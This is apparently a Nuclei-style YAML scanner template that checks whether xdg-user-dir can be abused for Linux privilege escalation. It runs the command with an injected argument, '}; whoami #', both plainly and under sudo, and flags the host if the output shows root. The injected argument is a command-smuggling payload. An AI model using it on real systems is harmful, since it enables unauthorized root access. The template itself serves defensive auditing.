48 lines
1.2 KiB
YAML
48 lines
1.2 KiB
YAML
id: privesc-xdg-user-dir
|
|
|
|
info:
|
|
name: xdg-user-dir - Privilege Escalation
|
|
author: daffainfo
|
|
severity: high
|
|
description: |
|
|
The xdg-user-dir command is used to retrieve the path of a user's special directories, such as the user's home directory, desktop directory, download directory, and others, based on the XDG Base Directory Specification.
|
|
reference:
|
|
- https://gtfobins.github.io/gtfobins/xdg-user-dir/
|
|
metadata:
|
|
verified: true
|
|
tags: code,linux,xdg-user-dir,privesc
|
|
|
|
self-contained: true
|
|
code:
|
|
- engine:
|
|
- sh
|
|
- bash
|
|
source: |
|
|
whoami
|
|
|
|
- engine:
|
|
- sh
|
|
- bash
|
|
source: |
|
|
xdg-user-dir '}; whoami #'
|
|
|
|
- engine:
|
|
- sh
|
|
- bash
|
|
source: |
|
|
sudo xdg-user-dir '}; whoami #'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: code_1_response
|
|
words:
|
|
- "root"
|
|
negative: true
|
|
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(code_2_response, "root")'
|
|
- 'contains(code_3_response, "root")'
|
|
condition: or
|
|
# digest: 4a0a004730450220701c2a9df9952e6bfd696274f6ba54fd1e8d5679da4e278fb3dab833fb1779a8022100cff3379e79aff775160c435df5a290c70f9b8d263bfd877a3a3c4fd63e896ca6:922c64590222798bb761d5b6d8e72950 |